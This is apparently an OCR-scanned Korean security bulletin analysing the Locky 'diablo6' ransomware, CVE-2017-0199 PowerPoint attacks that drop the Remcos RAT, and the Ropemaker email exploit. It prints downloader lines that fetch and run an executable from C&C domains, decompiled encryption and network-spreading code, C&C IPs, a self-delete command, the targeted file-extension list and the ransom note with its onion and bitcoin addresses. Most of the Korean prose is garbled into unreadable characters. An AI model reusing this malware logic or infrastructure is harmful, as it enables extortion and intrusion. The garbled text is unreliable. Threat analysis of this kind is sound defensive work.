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S0 S5200| TS 2SHE 4 US HOR OIEIE IVAS &= 20F S 215 2Ot AHIAS Saf Tt SR opTE
S HEI0} QIBRISS ZEGI0] Al/HIE HTEO Tt BIX), 24 S22 SAA717| I3t 97S R QICt

K|t ARAO| XISHXIESLIRAPT) 12t HHEHI0S 01251 2 0152 7
AO|H SZ0| CHE B71e A= O|AMEICE IMAS 2 242 AMTE 2M AARS EI510] F2
=4, ARH0| XHHSh= A 20| = 4= US AO|Ch ot ofd A0 Chigh §EE XEHo=Z o
I

B0] F0] 2FGT=0]| CHet Z|l THX |2 AH ZE2|XH0| CHet 2]t 22t 25 WIS Helioh= UH: BQ0IC

AfolH| BZ2 QOB Tf FIstE 20|H 71210 QROIAI= 2| SUP LK B2 ho] B 4 UCk= 42t
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[Trojan.Ransom.LockyCrypt]

qdIiL F4 HiM

1.71L

O TMAI0| 2HS EXI Trojan.Ransom.LockyCrypt(0[5t Locky 2HALI0) 7t CIA| SZEISIRICE O]

2P iyt iz o
| ZF ‘diablo6 SR HZAGK= Mo EXOICE 2 2M HTMM= Locky

Locky ZHEH01= T e
HHEHAOIE M 24 SlaIAt it

AT HUHAM FEZIUCE HYUS Files attached. Thanks', &
Ol= MIYS 2 0182 7[NS K=ol HEE IS

U= E2017-08-09 (672)vbs = Locky HEAE

Locky 292I0H= BE LS LRIOR 3t A
‘nr%% HeoIQIt TYCPY] LheS B Ut
MSYSIZE Gl QR HOJICE HEE Q% el o1y

CIRZCEok= VBScript ATEE THI0|CE

=] s E2017-08-08 (0. 7 EH - 0O X
DA %|

X (2 = (r e Q

AR | 8 mEo OF B3I EE =Zoy
- A~ - - - e

AR b= A i ~
2017-07-24 (8) 2= 45
Lidia@
E 2017-08-09 (06).pdf
Hhe AFEF  fhidvE

DAIZ]  @RE 2017-08-09 (06) 7ip (2 KB)

Files attached, Thanks

£ Lidia@ E 2017-08-09 (06) pdf

[ 1] Locky 2HEOIS RELSH AT T
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VBS I
HOo= XNMH

C&COf|IA Locky 2
I,
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g
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E 2017-08-09 (672).vbs &4

Function IEKARUSgovernmentalFuks (p)
IEARUSgovernmentalchfes . Send 'C&Cq]ﬁi Locky ?Eﬁ§$“°1 t*{}iifi

End Function

Dim TEARUOSgovernmentald 'As String

Function GeometryDash(p,d)

HAAIE TFREESI, UA| ZE(%TEMPY%) 20| 'RzoGhNZbGgU.exe'

TIKARUSgovernmental Rombickom. Run (IKARUSgovernmentalheal33u) '3TEMPEY\RzoGhNzbGglU.exe' %ﬂﬁﬁ

End Function

Function Razdel( =500

Razdel = Split (IEKARUSgovernmentalld, =500)

End Function

Dim TEARUOSgovernmentalcrypt 'As Variant

Dim dePetya '&s Integer

IKAROSgovernmentalRH = IKARUSgovernmentalRHE"-"

Dim iSlashP05 "A=s Integer
Dim =sDecimalVis "&s String
Dim sWholeWVis "Rz String
s2WholeVis = "L"

"Locky BEYGE FEE=FE cac

Splitted = Split ("will

2.2. RzoGhNzbGgU.exe M| =4

emshoeck.nl/

'yBT2ff2f?-dbré663dnbssfrodison.net/af/y872££2£", "-7)

[1E 2] Locky HIRI0IE CI22E5k= VBS I

HEE 'E2017-08-09 (672)vbsOlN CFREEE|0] MalEh= RzoGhNzbGgU.exe = MY US
=2l 0l ===t o= 712 HIEZL! ZHIE REslCt

1) LHZ R0 M2 Xt =4 & A

a2 APF=A| 2 Adoh= ZE0I0E APF=A| & A2 A7 | KRLe] E2XE

AN = 24

CHZ SEHRIXIS 2RIstL
C}.

ohs
 Cleiz) A4EH?)

Al
=

o2
o

ESTsecurity

2t71s

o A=SH=
s= 7o

H,

&717] SisH AHR3HXIZ O+
fH AHBIALCE PEB TEA0H Q4= ‘BeingDebugged M 2O &K ZRAHA7}
B2 UA| EE(%TEMP%) 20| ‘svchostexe' 0|22
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if ( =(v35 + BRC) ) £ CHE &ep?l =
{
pinfectedIDd = (a1 - 288);
vE1 = (a1 - 188);
bComparePath = PathCompare{v53, uSh}; AT 4" EQ fRHDE AZT SHE Z2ZE H|n
if ( tbComparePath )
{

(72 3] Clbe) 200 W2 A=) 2 Al

N

) E'_] Olﬂxl- ID AHA‘I
Iz OIZXIE AlESH | et IDE M45k= Z=0|Ct ID = E20|E =82 GUID £ MD5 2 Helkst 201 7t

—

a
LS K ZOIT,

re u\'

a;
tGetUolumeHameForUolumeHountPointA{lpszUolumeHame, &ul, B8x184u) )

e =
==
Ll |

v GetLastError();
11 &off _47CDOL;
_CxxThrowException(&v5, &unk 47A6GB8);

-

[0 41D Ay F=0|

3) M T
(RCE LHE 717|0| HESS HASIC), MAEI Mo 2UE OIZXIO| ID, 27} 101, SBHK| Ha, MulAL
M 27 HTEQ| THOI A% HE 64HIE 92, affid,v 200| HEIEICH affid O v B4 QT Lijsi0) 242t 21t

= OTr

3 2= 1FE|0 A2 212t Affiliation ID(RIR: OFOIC])2t Version(Z&AI0] BT FE)2| 2jn|2 HOo4EICY,
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udl =
*#*{al - 4y = 7;

U6 = StrAppend_B({al - 676,

uiy,

v27 = ={al - 368);
*(al - 4) =

u29 =

*(al - 4) =

vig =

Locale = ={al1 - 3808);

%(a1 - 4) = 103

ui2 = Strappend_1{al -

=(al - 4) =

u3l = StraAppend_B{a1 -
=(al - 4) =

uil = StrAappend_8{al -
=(al - 4) = ;

u3d = StrAppend_B{al -

®(al - 4) = 1u;

ul5 = Strappend_B{a1

x{al - 4) =
uZh
uzsg x(al - 372);
(a1l - 4) = 16;

u2@ = Strappend_1{ai

StrAppend_8{a1

084,

StrAppend_@{a1 - 732, vZz3, (a1 - 168));

(a1 - 926));

Strnppend 1{a1l — 648, vhH, vZ27);

Strnppend_ﬂ(a1 - 1848, v29, (a1 - 72));

872, viB, Locale);
1896, vi2, (a1l - 64));
816, w31, (a1l - 28));
vii, (a1 - 88));

- 628, vi, (a1l - 16));

- M52, vi5, (a1 - 48));

- 784, u2h, u28);

/7 tact=getkey

// Gaffid=

A4 affid gf=3

/7 &lang=

10U 12 Rl e

/§ &corp=

//oos ZEAHH ER

Hees =2 diolg &l

HEHE =2 dlole &

el

_,_
2

H0IR=X|

®#{al - b) =
U7 = Strappend_B(a1 - 928, vZ0, (al - 82)); /7 &sp=
ul2 = ={al - Fb6L);
®(al - 4) = ;
v18 = StrAppend_1{a1 - 1188, v7, vi2); AfoMHd A A
®*(al - 4) = ;
v3d = Strappend_B{a1 - 1124, vig, (a1 - 56)); // &xb6l=
%{al - ) = 28;
uS = Strappend_1(al - 760, v33, u26); ff 6uHIE RF
®(al - B) = 21;
StrAppend_8B{a1 - 592, v5, (a1 - 48)); Ff tu=2
[0 5] RCOf| T&5k= M
MHTCOf|M HES= CRC HHE = L3t &L
P =7
83217.861 2{A|OF
31.202.1309 L3210t
91.234.35.106 L3210|Lt
[E1]GRCHL
offd EEEQ% 2|0 THEEH, EAok= AFEUIM CRC 2 SZO0| O|FUX[X] 9ot OfiHet HIO[HE
S (&C2H AZO| 0|F0E E2 I2HH|E I TS HHO|C,
I HH(E] HEsER
id=Ract=gettext&lang= IDH X H
id=8ad=gethtml&lang= ID 2 K| &g
id=Ract=stats&path=&encrypted=8&failed=&length= ID ¥ Sst e SA
[F 2] MEHHE 2 &S HE =5
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4) T 453t
@ o5t Ty 20l
oI55} IS E0I517] X 2IAI0[0] £IRIX| EOIBIL awormé | II01IA1E oI5 31S ZIGHK| 4T,

oDEMA S5 L XPHARBICE 1 29| BHE0ME DY St X

Oh
—l—

/f 2AIOMH 012 R% H=
LANGID = GetSystemDefaultLangID({) & O=3FF;
if { LANGID == 25
|| (v13 = GetlUserDefaultLangID{) & Bx3FF, vi13 == 25 || (v36 = GetlUserDefaultUILanguage() & Ox3FF, v36 == B219)) )

{
_¥9:
*(al - 4) = -
DeleteSelfFiles{@, al, a2, i);
H

WENSENEEREEN

AE2[0|HEE 7 ':E_|-0||='77}X| Cefo|E7t ™A E20|H, O|3A] E20[H, 8 AT E2t0|HQIX| RIS}
BHQ Ty E2f0|=01 Z QI3 Tl S2f0|=0 TBIBILE

else if { {(DriveType *= DRIUVE_REMOVUABLE
|| GetDiskFreeSpaceExW{{al - 36), 8, (a1 - 44), 8) && (=x(al - 40) > Bu || =(a1 - 44) >= BxAOO0A6u))

&& (DriveType *= DRIVE_FIXED && DriveType *= DRIUVE_REMOUABLE #&& DriveType *= DRIUE_RAMDISK

Il tGetUolumeInformationW(({al - 36), 0, @, @, 8, (a1l - 28), 0, 0)

Il *((=(a1 - 28) >> 8213) & 1))

&& (DriveType == DRIVE_FIXED || DriveType == DRIVE_REMOUABLE || DriveType == DRIVE_RAMDISK) )

L= EE]

HIEQT SRl0|HE S5} Tl ZsHt

result = WUNetDpenEnumb(={al + 12}, 1u, 8, *(al + 16), (a1 - 24));
if { tresult )

lpHetResource = calloc{lu, Bx2888u);
if { lpHetResource )

for { ={al - 16) = Bx20808; ; *(al - 16) = Ox20008 )
{
ul = ={al - 24);
*(al - 28) = 1;
u2 = YHetEnumResourcel B{vi1, (a1l - 28), lpHetResource, (a1l - 16));
if ( tu2 )
break;
if ( lpHetResource-»dullsage & 1 ) /7 RESOURCEUSAGE_CONMHMECTRABLE

{
vl = 83
u9 = WHetAddConnection2W({lpHetResource, lpFPassword, lpUsername, dwFlags}h;
if ( vo )
continue;

H
if { lpHetResource-»dwllsage & RESOURCEUSAGE_COHTAIHER )

vid = ={al + 12);
vi = ={al + 8);

HetworkSearching{ai);
e

[O& JHENT 210|824

=210[E LHoIM A5} aon S5l DIISS BIAEISICH QS3} A TQ| 810l RS SHX}, M| T 2
20 SXIE0ICH CHSS U5 A BIRIR} ARl 2 U IjY XY 220ct
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HI

M H 51

‘Walletdat',"key","at’,"cs","p12", "pem’,"DOC’, "odt", "ott", "sxw’, "stw’, "PPT","XLS', " pdf', "RTF", ".uot’,"CSV", "txt", "xml’,".3ds", "max,
"3dm’,".DOT", " docX’, ".docm’, " dotx’, ".dotm’, 602", "hwp', "ods’, "ots’, ".sxc’, "stc’, "dif’, "XIc’, "XIm", "xtt", "X, "slK’, "xIsb", "xlsm’, "XIsx’,
“Xitm', "Xt "wk1","wks', 123", "wb2', "odp", "otp", "sxi", "sti", "pps’, "pot’, "sxd", "std", ".pptm’,"pptx’, ".potm’, " potx’, ".uop’, ".odg’, "otg’,
"sxm’,"mml’," docb”, " ppam’, " ppsx’, " ppsm’, "sldX’, "sldm’, "ms11",".ms11, (Security, copy)’, "lay", "lay6", "asc’, ".onetoc2", " pst’,".001",
"002',".003",".004","005",".006'",".007",".008",".009",".010",".011","SQLITE3","SQLITEDB", "sq’, "mdb", "db",".dbf", ".odb’", "frm","MYD',
MY, ibd","mdf’, "\df',"php’,".c,".cpp’, "pas’, "asm’, "h',"js, "wb', "vbs', "pl’, "dip’, "dch’, "sch’, "brd","cs', "asp’, "1b’, "java', "jar’, "class’,
"sh',"bat’,"emd","py’, " psd’, "NEF", "4iff’, "4if", "jpg, " jpeg’, "cgm’, "raw’, "gif', "png’, "bmp', "svg', "dw’, "', "zip", "rar","7Z', " &z, "t&Z', "tar’,
"bak’, "thK’, "tarbz2","PAQ’,"ARC', "aes', " gpg’, "apk', "asset’, "asset’, "bik, "bsa’, "d3dbsp’, "das', " forge’, "iwi", ".|bf’, "itemod", "itesq’,

non non nou non non 1 n o "

"I, "red”,"sav', ".upK’, "wallet', "vmx, "vmdk', "vdi',".qcow2", "mp3', "wav', "swf', "fla’, "wmv', "mpg’,"vob', "mpeg’, "asf', "avi’, "mov/,
"mp4’,"3gp’,"mkv,"3g2"," iV, " wma',"mid","m3u’, "mé4u’,"m4a’, "n64", "contact’, "dbx, ".doc’, ".docx’, "jnt’, "jpg’, "mapimail’, ".msg’,
"0ab","ods", "pdf’, "pps’,"ppsm’,"ppt’, "pptm’, " prf’, "pst’, "rar’, "rf", "', "wab', "Xls", "XIsx', "xml, "Zip", " 1cd", "3ds',". 382", "3gp", ".7Z,
"7zip","accdb’, "aol',"asf', "asp’, "aspxX, "asx’, "avi', "bakK’, "cer’, "dfg, " class’, "config, "css’, "csv', "db’, ".dds’, "dwg’, "', "fif’, "V, "html’,
"idx',"js", "key", "kwm", "laccdb’, "Idf, "lit", "m3u’, "mbx’, "md", "mdf", "mid", "mlb", ".mov’, "mp3", "mp4", "mpg’, ".obj", "odt", ".pages’, " php’,
"psd’,"pwm’,".m’, "safe’,"sav', "save’, "sql, "stt’, "swf’, "thm’, "vob',"waV', "wma',"wmv', "xlsb", ".3dm’, "aac’, "al’, "arw’, ", ".cdr’,"ls’,
"opi',"cpp',".cs',"db3', "docm’, "dot’, "dotm’, " dotx’, ".drw’, ".dxb', "eps’,"fla', "flac’, "fxg’, "java’, "m’, "méav", "max’, "mdb", " pcd", "pct’, " pl’,
"potm’, ".potx’, ".ppam’, ".ppsm’, "ppsX’, "pptm’, " ps’, " pspimage’, "r3d", ".w2", "sldm’, "sldx’, "svg, "tga', "wps', "Xla", "Xlam", "xim", "X,
"Xlsm',"xtt', " xttm”, "Xt "xw', "adt’, "adp', "al’, " bkp', "blend", " cdf’, ".cdx’, " cgm’,"cr2","art’, " dac’, "dbf',"dcr’, " ddd", " design’, " dtd", " fdb',
“fif,"fpx, "1’ iif',indd', "jpeg’, "mos’, ".nd", "nsd", "nsf", "nsg’, "nsh’, ".odc’, ".odp", "ail’, "pas’,"pat’, "pef’, "pfx’, "ptx’, ".qbb", "gbm’,
"sas7bdat’,"say","st4',"st6","stc’, "sxc', "sxw’, "tlg, "wad'’, "Xk, "aiff", "bin’, "bmp’, ".cmt’, " dat’, "dit’, "edb’, "fiw/, "gif',".groups’, " hdd",
"hpp',"log,"m2ts","map',"mkv","mpeg’, "ndf", "nvram’, ".ogg’, "ost’, " pab’, "pdb", " pif', "png’,".qed",".qeow’, ".qeow2", "nt',"st7", "stm’,
"vbox’, "wdi","vhd","vhdx', "vmdK’, "vmsd", "vmx, "vmxf', " 3f", " 3pr’, ".ab4’, "accde’, "accdr’, "acedt’, "ach’, "acr', "adb', "ads',".agdl, "ait’,
"apj’,"asm’,"awg’, "back, "backup’, "backupdb', "bank’,"bay’, "bdb", "bgt", "biK’, "bpw',"cdr3",".cdr4’, ".cdr5', ".cdr6’,".cdw/, " ce 1", ".ce2",
"ab’,"craw’,".arw’, ".csh’, "csl', ".db_joumal’, ".dc2", "dcs’,".ddoc’, " ddrw’, "der’, "des’,"dgc’, "djwut’, "dng', "drf’, ".dxg", "eml’, "erbsql’, "erf’,
"exf',"fid"," ", "fd", " gray’,"grey’, "gry’, " hok’, "ibank’, "ibd", "ibZ, "iiq", "incpas’, " jpe", "ke2", "kdbx', "kdc', "kpdX', "lud", "mdc’, " mef’, " mfw,
“mmw’,"mny’,"moneywell’,"mm’,"myd","ndd", ".nef’, ".nk2", "nop", "nrw’, ".ns2", "ns3", "ns4’, "nwb’, ".nx2", "nxl’, "nyf',".odb’, ".odlf', ".odg’,
"odm’,"orf',"otg’, "oth’,"otp’, "ts’, "ott’, "p12","p7b", "p7c’,"pdd", ".pem’, "plus_muhd", "plc’, "pot’, " pptx’, "psafe3’,"py", "qba’, "qbr’,
"gbw","agbx’,"qby", "raf', "rat’, "raw’, "rdb’, "', "1z, "s3db", "sd0', ".sda’, ".sdf’, "sqlite’, "sqllite3", "sqlitedb’, "sr2", "sif', " srw’, " st5", "st8’,
"std","sti","stw', "stX’, "sxd', "sxg’, "sxi", "sxm’, "tex’, "wallet’, "wb2', "wpd', "x11", "x3f", "xis", "ycbera', " yuv'

[ 3] 53} Chet PRt 22X

System Volume Information temp

ProgramFiles (x86) tmp

ApplicationData _lLocky_recover_instructions.txt
Program Files _Locky_recover_instructions.bmp
$RecycleBin _HELP _instructions.html
AppData _HELP instructionsbmp
Windows _HELP instructions.txt

winnt thumbs.db

Boot

(2 4] Y=3tHIQ| Tt =A1E
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A H 1

A7 | 2X1ES H|2I5h= 01f= AAE! 222 TS| I8k Locky_recover instructions.xt’ S2 71E HE
W ES HSol S QS ASSIE ofX| E22i= o|=2 HOICE

@ ofd et
c|ARE MASS HOZ USSE TIRlRICE MY /S 3i0l= RSA R AES 2412|F0] AKSEC.

if ( t=uiB )
{
vi12 = CryptAcquireContextA_A((a1 - 16), PROUV_RSA_AES, BxFAAAABAA);
CryptReleaseContext_@(v12, ediB);
if ( ={a1l - 16) )
CryptReleaseContext{={al - 16}, 8});
H
// RSA PublicKey BlobZ CSP= Mz
CryptImportKey_@A{{uvi13 + 4), viz, =(a1 + 8), =(al1 + 12}, @6, 8);

(72 9| mfe! o5t ermags

Il oIS sh= QIS 5} CHAF MU} SHRIXIE (24 ID 2! 219o|Z diablo6' = HHZGH 0|0 RIHEICY,

[0 10] DY O & SRRt A
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vid = uh2;
v3s = ={a? - B88);

ui/1 = ={a?2 - 88);
WriteFile_B({v80, hFile_ 2, u82, vB3, uBL); 71
uz1 _ CFADD _ {vh2, uw22);
22 Gw22[uvh2];
¥
vl? = ={a2 - 24);
A I PRl AIDUE, RSA BEMF|2 HzEtEt Y2 3| £
if ( vi7 && vi7 t= -1 )
{
WriteFile_B({{a? - 1528), Bx344, v78, v79, vid);
¥
else
{
WriteFile @{v7?, w88, hFile 2, w82, uvB3);
uig = (a2 - 3b);
GetSystemTimeAsFileTime{ Bx344) ;
SetFileTime_@{vs7, (a2 - 36), (a2 - 36), v78);
¥

Encrypt_1{vi42, hFile_2, w82, v83, vdh, vB5);// U
if { t=(a? - 24) || =(a2 - 24) == -1 )
{
uEd = @8;
un? = ={a?Z - 323;
a7 = v22,;
SetFilePointer_B{u78, v79, @, hFile 2};
H

ReadFile B{v71, =ui3, v78, =(a2 - 80), ve0);// LSS Ol 27

tof
fol

/T

O 1] ol isst FE

2isolE WA F12= LISt Z2M, fzetE H|0|E|, ALK, ZEE OIZALID, 0x100 271°| RSAZ i=sfH

22| 71,0x230 27|2| ==k AITLIX2t Hef I OIS0 e,

LSk HolH

Al 1L X (0x8956FE93) (0x04)

A= 0| 24Xt ID (0x10)

RSA 2707|2
U2zl A9l 7| (0x100)

Ot A|L|X e}
Hell ot 0|5 (0x230)

12 12] 2=3E m 1%

5) Tfe! =) WK
TRl RIS WXIGP| Sl 28 HED SAES Aveict
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(*{*ppBackup

+ BROCIN( Ff A2 EAME AH|{DeleteSnapshots)

ppBackup,
SourceObjectId 8,
SourceObjectId_1,
SourceObjectId 2,
SourceObjectId 3,
3,
1!
&plDeletedSnapshots,
&pHondeletedSnapshotID,
uid;
v? = &SourceObjectId_8;
UssFreeSnapshotPropertiesInternal();

[12 13| 28 HI=R SARE AH|

6) 2| 2Ly

HIEZQI ZH| QIS flol 253t Ciet M| AZ0]| £S5t CHHE Rioh= HHL-E I} ‘diablo6{(22)

U4 KR htm'S YIRIC) LS2 2 E O M FEOo| UR0|Ct

O O

cryptGenRandom 1{u58, v59, uG@); = b I el A P
USD = (a1 - 144);

usg = (al - 3088);

x(al - 4) =

sub_428%68(a1);
uGl = L"diablo6";

us8 = (a1 - 283);

#{al - 4) =

u23 = Strnppend a('.", a1l - 288, SHIDWORD(uvSG));/F diablodb.
val = "-';

w9 = u23;

(a1l - 4) =

sub_411958(v58, w59, vad);

us8 = {al - 336):

®(al - 4) =

ulS = Strappend 2(v43, uvih, al - 252); /7 diabloé-{Z!%| uziz|)

vald = {al - 32);

(a1l - 4) = 18;

ol = uhh;

Strappend_3(a1 - 172, v59, u6B); A4 diablo6. {212 4i}2[).htm

[jal 14] 2HALE T MM FEo|aled

HIESHHS Locky 2?0 O|OIX|Z HFEG1, S ES 2ol OIS XA =st AHE iz, HEES)
LE2 "2E DIUS0| YSSIEUCL] THRIFISE ©7| floiiM= B2 El E2fRAE Aot 2212 HIE A=

SECIC U=y

ESTSECUF’H}’ Copyright © 2017 ESTsecurity Corp. All rights reserved.
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X HELE0| 7| E Locky 20 TEWCZ HEe Z2 TiEil 20| ¢=s)

o -

W =77 |95 B8 M0E v g8 T2z v

@ C#Usersi  #Desktop#diablos htm Mo~ - [ dm v HOXE - HHEG - =FO) v @~

11! IMPORTANT INFORMATION !!!!

211 of your files are encrypted with RSA-2048 and AES-128 ciphers.
More information about the RSA and AES can be found here:
http://en.wikipedia.org/wiki/RSA (cryptosystem)
http://en.wikipedia.org/wiki/Advanced Encryption Standard

Decrypting of your files is only

possible with the private key and decrypt program, which is on our
server.

To recelive your private key follow one of the links:

If all of this addresses are not available, follow these steps:

1. Download and install Tor Browser:
https://www.torproject.org/download/download-easy.html

2. After a successful installation, run the browser and wait
for initialization.

3. Type in the address bar: g46mbrrzpfszonuk.onion/

4. Follow the instructions on the site.

11! Your perscnal identification ID: ;11
+_ =%t

e

secret

»

M TEE | 2s o aE G v ®100%

0.5 HIEZClES Q+'eiCt.
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— m] X
45} Locky Decryptor X L+
St @~ € @ gdémbrrzpfszonuk.onion c Sea =
18 Most visited
a ~ @

5t 282 £ 3152 §F Locky Decryptor

Locky Decryptor™ 7

HEZYLE A4 5iH AR 2 olgUth HIEDIUE ¢ d¥LE o5 £ ldUnh

W=D ATE 571 Aok U

siok 28l A2t § & RS U 2 ols THE W

M2 2gshs 20] obd 42 ol YA oL o

[N
4
2
i
kA
=z
o2
L
o

22 AL

localbitcoins.com (WU) Western Union2} B]E B2 3.
Coincafe.com W2 ZFThE MH| 2ol FTUTH
g W
ATM, .
locabitcoins.com 0] ABl2E A7 Aol 0 BIEDVE Tofsts ARE A 4 4 ol
cexio VISA/MASTERCARDEE 2# 23202 ¥EDS 79,
btcdrecteu ¥l At 19 AolE,
bitquick.co EBI2E HEZY S F2AHY Fof.
howtobuybitcoins.info 34 BE L] B HHE.
cashintocoins.com HIEBIS #32 = ).
coinjar.com CoinJar AOE# A HIEBUS ZE & 4 35U
anxpro.com
bittylicious.com

0.5 EBYS BIERY £4 By BYA2:

|18Y3bBYVEMXgff4wSMQF3pHMAVUFGLOHS
F0: EUAMS AE A s 30 F o4 2 4 2laUn

27 uEDY 2 EUAH D ET]
not found

[Z

0l E o A5t HIE/A5S ThEeE sHAe.

. v

[[2! 16| =55} QHHE MESK= Locky 2901 L5 2

BE DY AdY UUE L £ UBE/ BE GRLE HAOAR YHUAT IYUL
11

If St AFY0| 25 S=EH A7 ARISIT,

CALL to from RzoGhNzb.B842DFAA
NULL
"cmd.exe #C del ~Q ~F "C:Wlzsersh WpphatatlocalWTempW#RzoGhNzhGgll _exe """
NULL
NULL
FALSE

CREATE_NEW_CONSOLE:IDLE_PRIORITY_CLASS
NULL
NULL
8886 FBCA
a886FCA4

2171 XA
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Locky EH&I01= 2AI0[0] 22| EE0M TIUSS =0l =+1otK| ot TS, ASelE Mdss =2st
o= U712 HIEZQ! ZRIS 27ICt HE 2HHR0{2t 2| A0 2E2l R USSIE LIS pi=tt=
0] Tk

Lot CRCO| XMoo=z HZO0| O|FUX[X]| P01 IfY Y=ot TlRUED 5, 712 WS SOHME ==t
Tl 4= UM 2HEA0{0]] THSH CHE|ZF ELOIC.

2 HIMOM TR AETE 20| SFEAIE lukitus 2 H1E0K= Locky HE0| & AVIES ol REEN U=
HNOZ Ao 7} Tl Zligt A= HIrt,

[MTEfA] 2HERIIS AR oot/ | floiM= HIZO] 5l TIZ0f| CHolix] Z=2[oHOF St %E—?— Hot HEo[ELt
g7

BRE ZXIE OHS2A0 S e 21 HE= RXAI6HOF Sttt fLot SQot AizS2 HO= Q) OHXI|0|
HHASHO THUOH AS AMEHOH| CHH|SHOF SH.
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1. 30A

orM MIQIHQIE miele 0= 74 OtoZ PC {2 7EssH
How Just Opening A Malicious PowerPoint File Could Compromise Your PC
Windows Object Linking and Embedding(OLE) QIE{H|O|AQ| ZXHHH O0|Z2ATEQ| QIIA 2 F= AlSH

FoFH (Q(VE-2017-0199)2 At 4 E o8 =SB0, SAXS2 OFX= 0] FFHS A5 U= He=
LHERRCE.

Ot HITRYSS 0] YABRIS S5 AHES 290f QIS UAYSLICL BHXISS 0] IS FE2
| ZOIE I HIEO0 M MAPPSX)0f| S0

o
o

| 20| AHIS At Trend Micro 2| S-S0 [2H, 0] EFI 42 453 Q= AL|0] I 0|
RIS Soll AIZFELICE O HE2 HOIS R 2N Hitl AO= 2SI ACH, = TR HIE AL
SNES 2O

re o
H
r

=1

(_JIE
I

o
| 24 Al 2= Of=2Hi2t 2L

rx
>

Subject RFQ & Specifications on Large Order 07/28/2017 12:06 AM
Reply to @gmail.com i
Hello All

Please find the specified order and. It's Consignee’s name and address for the booked
orders that you will do its shipping.

Please kindly notify if you can supply the items listed. your lowest prices and also ETD
please quote FOB and CIF prices

Sincerely,
Thanks & Regards

G.M. (Purchasing Manager)

"SAVE PAPER - THINK BEFORE YOU PRINT"

* @& 1attachment: PO-483848.ppsx 32.2 KB ¥ save ~

0|0}X] &X: http://blogtrendmicro.com/trendlabs-security-intelligence/cve-2017-0199-new-malware-abuses—powerpoint-slide-show/
ESTsecurity
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1 01 2 Q0 TSt s H7}H SOl HO IKIGHon Tig) HOIE (PPSY) MRS S5 ZZ0)
AJ{EIC,

2 47 O] PPSX TQIO| Al B, Liisi0f T2 T2HR) £l XML TS 556 HZOR "logodoc’ UL CIREE
BH THITQIE & OfLICION 7152 Saf OIS Alstaict

3EI: OF Logodoc THIS CVE-2017-0199 FI2RS SLAI EF AJAIIM RATMAN exe TS Ci22E
% AgiC}

§

4 |- RATMAN.exe = Remcos &4 X0 E2| EZ0|=015t =l HHOZ AX| 2 EL
P02 CRC MHUIA HIOfEE 4= QUA| =T

AP} 2 B HEEE

0

p Screen Capture —
@ REMCOS v182 Free File Manager (2[5 s
@ Connections (1) [;&5 Proxy Servers | £) Automatic Tasks | {8 Local Setting File Search (i) About|
Location D Computer /User Operating Systen Process Manager ndow Idle time  System Uptime  IF
| United States 7 R ] Windows 7 Ultima Registry Editor v1.8.2 Free 0 mins 56 mins a
Window Manager

Clipboard Manager
Execute command
Command Line
Remote Scripting
Power Options
Keylogger

Password Recovery
Screen Logger
Webcam Capture
Microphone Capture

SOCKS Proxy
Download8Execute

Open webpage
DLL Loader

MessageBox

Listening ports: 3550 (P)

—

Fun Functions

Show Info
Rename
Ping
Reconnect
Close
Update
Uninstall

VPl%edo cFwki nicg ¢ cLBNEdGEa W

0|0}X] &X: http://blogtrendmicro.com/trendlabs-security-intelligence/cve-2017-0199-new-malware-abuses—powerpoint-slide-show/

Remcos = FAE{OI0E0]| 7kset A B HE S2, ASAE0| ™ MA| OCAE 50| AILARE MO 4
U=S ERIELL 07 |0ff= T2EE, 330 28, 7|27, 23227, 2 H 010|3 2= 52| 7[S0] &8t =

UL,

104

)

0] UAZZQI0| 2+ =I RTF MU HYTESH=0| AKR =[Q17| HZ20Y|, CHEE CVE-2017-0199 £ EXX|E! I RTF
M| 5HS sUCHL MEH SEXIE2 PPSX IUS AtEsH QIEHI0 A T=T12H0| EXIS Mg 4= Q| =Ct
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04 she| Hot St
U= 7FS 712 LE2 DO0|IZ2ATET} 4 Eof| S7let (VE-2017-0199 & THAIE

0| ZHORHE| HS HIZ A
CIR2C 5i= Z{0|ct,
[EX{ http://thehackemews.com/2017/08/powerpoint-malware-ms-office html
http://blog trendmicro.com/trendlabs—security-intelligence/cove-2017-0199-new-malware-abuses-powerpoint-slide-show/
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O[0] H'h OJHIUY X[2te SHXPL LIBE +3 7ts¢et Heet YASZO 1A

Simple Exploit Allows Attackers to Modify Email Content — Even After It's Sent!

HOt AHES0| AE0| 212 AMZ2 0[HIY ES0)| Tioll ZUCE Ol= SAXLOI0] AFZALe| 22 EX[2io|
AP O|HZZRIE L, EEe! O|HIES 2y O|H[ER =2AIE = AU oi82IC

Ropemaker (Remotely Originated Post—delivery Email Manipulation Attacks Keeping Email Risky)2t HH =l 0|
E=l2 Mimecast 2| B2 Francisco Ribeiro 7 &Z434LC}

Ropemaker & SZXOR 128t 22, THRK= XHAI0| 2L O[HI0] LSS H2OR 4348t 4 QU7 EICt TRIA
URLE QOZ #iZiok= S| 917t 7551, Ofi= OJIU0] 2 BiX[3i0] 0]0] et AEHIME 7ks5p|

0
Lg
OFO
I
o

HE0Hl, =2 UKt ZFE{LL O|HIY OHE2(AI0 M0 2FHMO = HASIK| LTt RE A 3 HOoH HHE R3[eh =
QU EIL. ThekA] 4~ HAHO| CIATE OIEHI°I Sct0|AES| ABAIS0] 0] A L=EEIRACE Ropemaker = HE7t
2IEI0 HA| 2 5= U= 2=HR FEQ (SSHHTML S A4E2IT.

ALREUS2 Ropemaker = 0|t gl 7[=2] wXFEOZ HTML 2f @Il AR &= CSS Of|A] HIZE[RICE & 7[s=
2lof] === BIAE 7[HI0|AUE O O|H[ZS0| LS IHHEXQI HIFES 71 HSH2! O|HIUSZ HIFUKITE, 020K

O|HIZS SHL & U= -0 W7 [A =ACH L HRAC,

HHOE XE &[7| IHE0, SZXt= O|HYU2| ‘style’'S HHOE HAGRO =M 7]=0] 2
A 4 Q=S 0|H|Qe| 2HIXE HEE £~ QA El= Zi0|Ct,

_l

ot ARSI

H>
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| H % & » & §- = Verify Information For Auditors ASAP - Message (HTML) T M 8

MESSAGE MIMECAST

= x EiRepy GL (50 Alens W - SEMark Unread a’}) #*
I'E-,; Reply ANl G’: - | |E T Manager - F =| Categorize =
&a - Delete x =T : =1 Move Translate Zoam
=4 Forward El] = ? Tearm Ermai = = D-" L P‘ Follow Up = = S
Delete Respond Quick Steps [ Move Tags [ Editing Zoam

Tue T/ 12017 12:45 PR
Mike Parise <rnparse@gmail.com>

Verify Information For Auditors ASAP
To WlBoh Adams

HiBaob,
I'm in a meeting with auditors and can't talk, but need yvou to venfy this information is accurate -

www Good URL com/Audit HTML - I'll follow up with vou after the meeting, but need this checked

i Lol

Thanks!
-Mike

Mike Parise Mo Hems B E

Figure 1 - Switch Exploit Email with a Good Link

